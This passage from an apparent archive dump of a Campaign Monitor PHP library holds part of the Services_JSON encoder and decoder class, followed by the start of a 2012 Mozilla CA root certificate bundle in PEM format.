http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr((0xF0 & (ord($utf8{0}) << 4)) | (0x0F & (ord($utf8{1}) >> 2))) . chr((0xC0 & (ord($utf8{1}) << 6)) | (0x7F & ord($utf8{2}))); } // ignoring UTF-32 for now, sorry return ''; } /** * encodes an arbitrary variable into JSON format * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a strng, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encode($var) { switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return (float) $var; case 'string': // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT $ascii = ''; $strlen_var = strlen($var); /* * Iterate over every character in the string, * escaping with a slash or encoding to UTF-8 where necessary */ for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var{$c}); switch (true) { case $ord_var_c == 0x08: $ascii .= '\b'; break; case $ord_var_c == 0x09: $ascii .= '\t'; break; case $ord_var_c == 0x0A: $ascii .= '\n'; break; case $ord_var_c == 0x0C: $ascii .= '\f'; break; case $ord_var_c == 0x0D: $ascii .= '\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2F: case $ord_var_c == 0x5C: // double quote, slash, slosh $ascii .= '\\'.$var{$c}; break; case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $ascii .= $var{$c}; break; case (($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1})); $c += 1; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF0) == 0xE0): // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2})); $c += 2; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF8) == 0xF0): // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2}), ord($var{$c + 3})); $c += 3; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2}), ord($var{$c + 3}), ord($var{$c + 4})); $c += 4; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFE) == 0xFC): // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2}), ord($var{$c + 3}), ord($var{$c + 4}), ord($var{$c + 5})); $c += 5; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; } } return '"'.$ascii.'"'; case 'array': /* * As per JSON spec if any array key is not an integer * we must treat the the whole array as an object. We * also try to catch a sparsely populated associative * array with numeric keys here because some JS engines * will create an array with empty indexes up to * max_index which can cause memory issues and because * the keys, which may be relevant, will be remapped * otherwise. * * As per the ECMA and JSON specification an object may * have any string as a property. Unfortunately due to * a hole in the ECMA specification if the key is a * ECMA reserved word or starts with a digit the * parameter is only accessible using ECMAScript's * bracket notation. */ // treat as a JSON object if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { $properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var)); foreach($properties as $property) { if($this->isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; } // treat it like a regular array $elements = array_map(array($this, 'encode'), $var); foreach($elements as $element) { if($this->isError($element)) { return $element; } } return '[' . join(',', $elements) . ']'; case 'object': $vars = get_object_vars($var); $properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars)); foreach($properties as $property) { if($this->isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; default: return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); } } /** * array-walking function for use in generating JSON-formatted name-value pairs * * @param string $name name of key to use * @param mixed $value reference to an array element to be encoded * * @return string JSON-formatted name-value pair, like '"name":value' * @access private */ function name_value($name, $value) { $encoded_value = $this->encode($value); if($this->isError($encoded_value)) { return $encoded_value; } return $this->encode(strval($name)) . ':' . $encoded_value; } /** * reduce a string by removing leading and trailing comments and whitespace * * @param $str string string value to strip of comments and whitespace * * @return string string value stripped of comments and whitespace * @access private */ function reduce_string($str) { $str = preg_replace(array( // eliminate single line comments in '// ...' form '#^\s*//(.+)$#m', // eliminate multi-line comments in '/* ... */' form, at start of string '#^\s*/\*(.+)\*/#Us', // eliminate multi-line comments in '/* ... */' form, at end of string '#/\*(.+)\*/\s*$#Us' ), '', $str); // eliminate extraneous space return trim($str); } /** * decodes a JSON string into appropriate variable * * @param string $str JSON-formatted string * * @return mixed number, boolean, string, array, or object * corresponding to given JSON input string. * See argument 1 to Services_JSON() above for object-output behavior. * Note that decode() always returns strings * in ASCII or UTF-8 format! * @access public */ function decode($str) { $str = $this->reduce_string($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: $m = array(); if (is_numeric($str)) { // Lookie-loo, it's a number // This would work on its own, but I'm trying to be // good about returning integers where appropriate: // return (float)$str; // Return float or int, as appropriate return ((float)$str == (integer)$str) ? (integer)$str : (float)$str; } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { // STRINGS RETURNED IN UTF-8 FORMAT $delim = substr($str, 0, 1); $chrs = substr($str, 1, -1); $utf8 = ''; $strlen_chrs = strlen($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = substr($chrs, $c, 2); $ord_chrs_c = ord($chrs{$c}); switch (true) { case $substr_chrs_c_2 == '\b': $utf8 .= chr(0x08); ++$c; break; case $substr_chrs_c_2 == '\t': $utf8 .= chr(0x09); ++$c; break; case $substr_chrs_c_2 == '\n': $utf8 .= chr(0x0A); ++$c; break; case $substr_chrs_c_2 == '\f': $utf8 .= chr(0x0C); ++$c; break; case $substr_chrs_c_2 == '\r': $utf8 .= chr(0x0D); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || ($delim == "'" && $substr_chrs_c_2 != '\\"')) { $utf8 .= $chrs{++$c}; } break; case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): // single, escaped unicode character $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2))) . chr(hexdec(substr($chrs, ($c + 4), 2))); $utf8 .= $this->utf162utf8($utf16); $c += 5; break; case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): $utf8 .= $chrs{$c}; break; case ($ord_chrs_c & 0xE0) == 0xC0: // characters U-00000080 - U-000007FF, mask 110XXXXX //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xF0) == 0xE0: // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xF8) == 0xF0: // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xFC) == 0xF8: // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xFE) == 0xFC: // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { // array, or object notation if ($str{0} == '[') { $stk = array(SERVICES_JSON_IN_ARR); $arr = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $stk = array(SERVICES_JSON_IN_OBJ); $obj = array(); } else { $stk = array(SERVICES_JSON_IN_OBJ); $obj = new stdClass(); } } array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false)); $chrs = substr($str, 1, -1); $chrs = $this->reduce_string($chrs); if ($chrs == '') { if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } else { return $obj; } } //print("\nparsing {$chrs}\n"); $strlen_chrs = strlen($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = substr($chrs, $c, 2); if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { // found a comma that is not inside a string, array, etc., // OR we've reached the end of the character list $slice = substr($chrs, $top['where'], ($c - $top['where'])); array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); if (reset($stk) == SERVICES_JSON_IN_ARR) { // we are in an array, so just push an element onto the stack array_push($arr, $this->decode($slice)); } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { // we are in an object, so figure // out the property name and set an // element in an associative array, // for now $parts = array(); if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { // "name":value pair $key = $this->decode($parts[1]); $val = $this->decode($parts[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { // name:value pair, where name is unquoted $key = $parts[1]; $val = $this->decode($parts[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } } } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { // found a quote, and we are not inside a string array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c})); //print("Found start of string at {$c}\n"); } elseif (($chrs{$c} == $top['delim']) && ($top['what'] == SERVICES_JSON_IN_STR) && ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) { // found a quote, we're in a string, and it's not escaped // we know that it's not escaped becase there is _not_ an // odd number of backslashes at the end of the string so far array_pop($stk); //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); } elseif (($chrs{$c} == '[') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-bracket, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); //print("Found start of array at {$c}\n"); } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { // found a right-bracket, and we're in an array array_pop($stk); //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($chrs{$c} == '{') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-brace, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); //print("Found start of object at {$c}\n"); } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { // found a right-brace, and we're in an object array_pop($stk); //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($substr_chrs_c_2 == '/*') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a comment start, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); $c++; //print("Found start of comment at {$c}\n"); } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { // found a comment end, and we're in one now array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) $chrs = substr_replace($chrs, ' ', $i, 1); //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } } if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { return $obj; } } } } function isError($data, $code = null) { if (is_object($data) && (get_class($data) == 'services_json_error' || is_subclass_of($data, 'services_json_error'))) { return true; } return false; } } } if (!class_exists('Services_JSON_Error')) { class Services_JSON_Error { function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { } } } ?> PKq\@oQQ$campaignmonitor/lib/class/cacert.pemnu[## ## ca-bundle.crt -- Bundle of CA Root Certificates ## ## Certificate data from Mozilla as of: Thu Jun 28 15:03:08 2012 ## ## This is a bundle of X.509 certificates of public Certificate Authorities ## (CA). These were automatically extracted from Mozilla's root certificates ## file (certdata.txt). This file can be found in the mozilla source tree: ## http://mxr.mozilla.org/mozilla/source/security/nss/lib/ckfw/builtins/certdata.txt?raw=1 ## ## It contains the certificates in PEM format and therefore ## can be directly used with curl / libcurl / php_curl, or with ## an Apache+mod_ssl webserver for SSL client authentication. ## Just configure this file as the SSLCACertificateFile. ## # @(#) $RCSfile: certdata.txt,v $ $Revision: 1.85 $ $Date: 2012/06/28 13:50:18 $ GTE CyberTrust Global Root ========================== -----BEGIN CERTIFICATE----- MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9HVEUg Q29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0aW9ucywgSW5jLjEjMCEG A1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEz MjM1OTAwWjB1MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQL Ex5HVEUgQ3liZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0 IEdsb2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrHiM3dFw4u sJTQGz0O9pTAipTHBsiQl8i4ZBp6fmw8U+E3KHNgf7KXUwefU/ltWJTSr41tiGeA5u2ylc9yMcql HHK6XALnZELn+aks1joNrI1CqiQBOeacPwGFVw1Yh0X404Wqk2kmhXBIgD8SFcd5tB8FLztimQID AQABMA0GCSqGSIb3DQEBBAUAA4GBAG3rGwnpXtlR22ciYaQqPEh346B8pt5zohQDhT37qw4wxYMW M4ETCJ57NE7fQMh017l93PR2VX2bY1QY6fDq81yx2YtCHrnAlU66+tXifPVoYb+O7AWXX1uw16OF NMQkpw0PlZPvy5TYnh+dXIVtx6quTx8itc2VrbqnzPmrC3p/ -----END CERTIFICATE----- Thawte Server CA ================ -----BEGIN CERTIFICATE----- MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UE AxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5j b20wHhcNOTYwODAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCBxDELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29u c3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcG A1UEAxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0 ZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANOkUG7I/1Zr5s9dtuoMaHVHoqrC2oQl /Kj0R1HahbUgdJSGHg91yekIYfUGbTBuFRkC6VLAYttNmZ7iagxEOM3+vuNkCXDF/rFrKbYvScg7 1CcEJRCXL+eQbcAoQpnXTEPew/UhbVSfXcNY4cDk2VuwuNy0e982OsK1ZiIS1ocNAgMBAAGjEzAR MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAB/pMaVz7lcxG7oWDTSEwjsrZqG9J GubaUeNgcGyEYRGhGshIPllDfU+VPaGLtwtimHp1it2ITk6eQNuozDJ0uW8NxuOzRAvZim+aKZuZ GCg70eNAKJpaPNW15yAbi8qkq43pUdniTCxZqdq5snUb9kLy78fyGPmJvKP/iiMucEc= -----END CERTIFICATE----- Thawte Premium Server CA ======================== -----BEGIN CERTIFICATE----- MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UE AxMYVGhhd3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZl ckB0aGF3dGUuY29tMB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYT AlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsGA1UEChMU VGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2 aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNlcnZlciBDQTEoMCYGCSqGSIb3DQEJARYZ cHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2 aovXwlue2oFBYo847kkEVdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIh Udib0GfQug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMRuHM/ qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQAm SCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUIhfzJATj/Tb7yFkJD57taRvvBxhEf 8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JMpAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7t UCemDaYj+bvLpgcUQg== -----END CERTIFICATE----- Equifax Secure CA ================= -----BEGIN CERTIFICATE----- MIIDIDCCAomgAwIBAgIENd70zzANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UE ChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5 MB4XDTk4MDgyMjE2NDE1MVoXDTE4MDgyMjE2NDE1MVowTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoT B0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTCB nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwV2xWGcIYu6gmi0fCG2RFGiYCh7+2gRvE4RiIcPR fM6fBeC4AfBONOziipUEZKzxa1NfBbPLZ4C/QgKO/t0BCezhABRP/PvwDN1Dulsr4R+AcJkVV5MW 8Q+XarfCaCMczE1ZMKxRHjuvK9buY0V7xdlfUNLjUA86iOe/FP3gx7kCAwEAAaOCAQkwggEFMHAG A1UdHwRpMGcwZaBjoGGkXzBdMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UE CxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMBoG A1UdEAQTMBGBDzIwMTgwODIyMTY0MTUxWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUSOZo+SvS spXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFEjmaPkr0rKV10fYIyAQTzOYkJ/UMAwGA1UdEwQFMAMB Af8wGgYJKoZIhvZ9B0EABA0wCxsFVjMuMGMDAgbAMA0GCSqGSIb3DQEBBQUAA4GBAFjOKer89961 zgK5F7WF0bnj4JXMJTENAKaSbn+2kmOeUJXRmm/kEd5jhW6Y7qj/WsjTVbJmcVfewCHrPSqnI0kB BIZCe/zuf6IWUrVnZ9NA2zsmWLIodz2uFHdh1voqZiegDfqnc1zqcPGUIWVEX/r87yloqaKHee95 70+sB3c4 -----END CERTIFICATE----- Digital Signature Trust Co. Global CA 1 ======================================= -----BEGIN CERTIFICATE----- MIIDKTCCApKgAwIBAgIENnAVljANBgkqhkiG9w0BAQUFADBGMQswCQYDVQQGEwJVUzEkMCIGA1UE ChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMREwDwYDVQQLEwhEU1RDQSBFMTAeFw05ODEy MTAxODEwMjNaFw0xODEyMTAxODQwMjNaMEYxCzAJBgNVBAYTAlVTMSQwIgYDVQQKExtEaWdpdGFs IFNpZ25hdHVyZSBUcnVzdCBDby4xETAPBgNVBAsTCERTVENBIEUxMIGdMA0GCSqGSIb3DQEBAQUA A4GLADCBhwKBgQCgbIGpzzQeJN3+hijM3oMv+V7UQtLodGBmE5gGHKlREmlvMVW5SXIACH7TpWJE NySZj9mDSI+ZbZUTu0M7LklOiDfBu1h//uG9+LthzfNHwJmm8fOR6Hh8AMthyUQncWlVSn5JTe2i o74CTADKAqjuAQIxZA9SLRN0dja1erQtcQIBA6OCASQwggEgMBEGCWCGSAGG+EIBAQQEAwIABzBo BgNVHR8EYTBfMF2gW6BZpFcwVTELMAkGA1UEBhMCVVMxJDAiBgNVBAoTG0RpZ2l0YWwgU2lnbmF0 dXJlIFRydXN0IENvLjERMA8GA1UECxMIRFNUQ0EgRTExDTALBgNVBAMTBENSTDEwKwYDVR0QBCQw IoAPMTk5ODEyMTAxODEwMjNagQ8yMDE4MTIxMDE4MTAyM1owCwYDVR0PBAQDAgEGMB8GA1UdIwQY MBaAFGp5fpFpRhgTCgJ3pVlbYJglDqL4MB0GA1UdDgQWBBRqeX6RaUYYEwoCd6VZW2CYJQ6i+DAM BgNVHRMEBTADAQH/MBkGCSqGSIb2fQdBAAQMMAobBFY0LjADAgSQMA0GCSqGSIb3DQEBBQUAA4GB ACIS2Hod3IEGtgllsofIH160L+nEHvI8wbsEkBFKg05+k7lNQseSJqBcNJo4cvj9axY+IO6CizEq kzaFI4iKPANo08kJD038bKTaKHKTDomAsH3+gG9lbRgzl4vCa4nuYD3Im+9/KzJic5PLPON74nZ4 RbyhkwS7hp86W0N6w4pl -----END CERTIFICATE----- Digital Signature Trust Co. Global CA 3 ======================================= -----BEGIN CERTIFICATE----- MIIDKTCCApKgAwIBAgIENm7TzjANBgkqhkiG9w0BAQUFADBGMQswCQYDVQQGEwJVUzEkMCIGA1UE ChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMREwDwYDVQQLEwhEU1RDQSBFMjAeFw05ODEy MDkxOTE3MjZaFw0xODEyMDkxOTQ3MjZaMEYxCzAJBgNVBAYTAlVTMSQwIgYDVQQKExtEaWdpdGFs IFNpZ25hdHVyZSBUcnVzdCBDby4xETAPBgNVBAsTCERTVENBIEUyMIGdMA0GCSqGSIb3DQEBAQUA A4GLADCBhwKBgQC/k48Xku8zExjrEH9OFr//Bo8qhbxe+SSmJIi2A7fBw18DW9Fvrn5C6mYjuGOD VvsoLeE4i7TuqAHhzhy2iCoiRoX7n6dwqUcUP87eZfCocfdPJmyMvMa1795JJ/9IKn3oTQPMx7JS xhcxEzu1TdvIxPbDDyQq2gyd55FbgM2UnQIBA6OCASQwggEgMBEGCWCGSAGG+EIBAQQEAwIABzBo BgNVHR8EYTBfMF2gW6BZpFcwVTELMAkGA1UEBhMCVVMxJDAiBgNVBAoTG0RpZ2l0YWwgU2lnbmF0 dXJlIFRydXN0IENvLjERMA8GA1UECxMIRFNUQ0EgRTIxDTALBgNVBAMTBENSTDEwKwYDVR0QBCQw IoAPMTk5ODEyMDkxOTE3MjZagQ8yMDE4MTIwOTE5MTcyNlowCwYDVR0PBAQDAgEGMB8GA1UdIwQY MBaAFB6CTShlgDzJQW6sNS5ay97u+DlbMB0GA1UdDgQWBBQegk0oZYA8yUFurDUuWsve7vg5WzAM BgNVHRMEBTADAQH/MBkGCSqGSIb2fQdBAAQMMAobBFY0LjADAgSQMA0GCSqGSIb3DQEBBQUAA4GB AEeNg61i8tuwnkUiBbmi1gMOOHLnnvx75pO2mqWilMg0HZHRxdf0CiUPPXiBng+xZ8SQTGPdXqfi up/1902lMXucKS1M/mQ+7LZT/uqb7YLbdHVLB3luHtgZg3Pe9T7Qtd7nS2h9Qy4qIOF+oHhEngj1 mPnHfxsb1gYgAlihw6ID -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority ======================================================= -----BEGIN CERTIFICATE----- MIICPDCCAaUCEHC65B0Q2Sk0tjjKewPMur8wDQYJKoZIhvcNAQECBQAwXzELMAkGA1UEBhMCVVMx FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMTIzNTk1OVow XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94 f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBAgUAA4GBALtMEivPLCYA TxQT3ab7/AoRhIzzKBxnki98tsX63/Dolbwdj2wsqFHMc9ikwFPwTtYmwHYBV4GSXiHx0bH/59Ah WM1pF+NEHJwZRDmJXNycAA9WjQKZ7aKQRUzkuxCkPfAyAw7xzvjoyVGM5mKf5p/AfbdynMk2Omuf Tqj/ZA1k -----END CERTIFICATE----- Verisign Class 1 Public Primary Certification Authority - G2 ============================================================ -----BEGIN CERTIFICATE----- MIIDAjCCAmsCEEzH6qqYPnHTkxD4PTqJkZIwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMSBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMSBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz 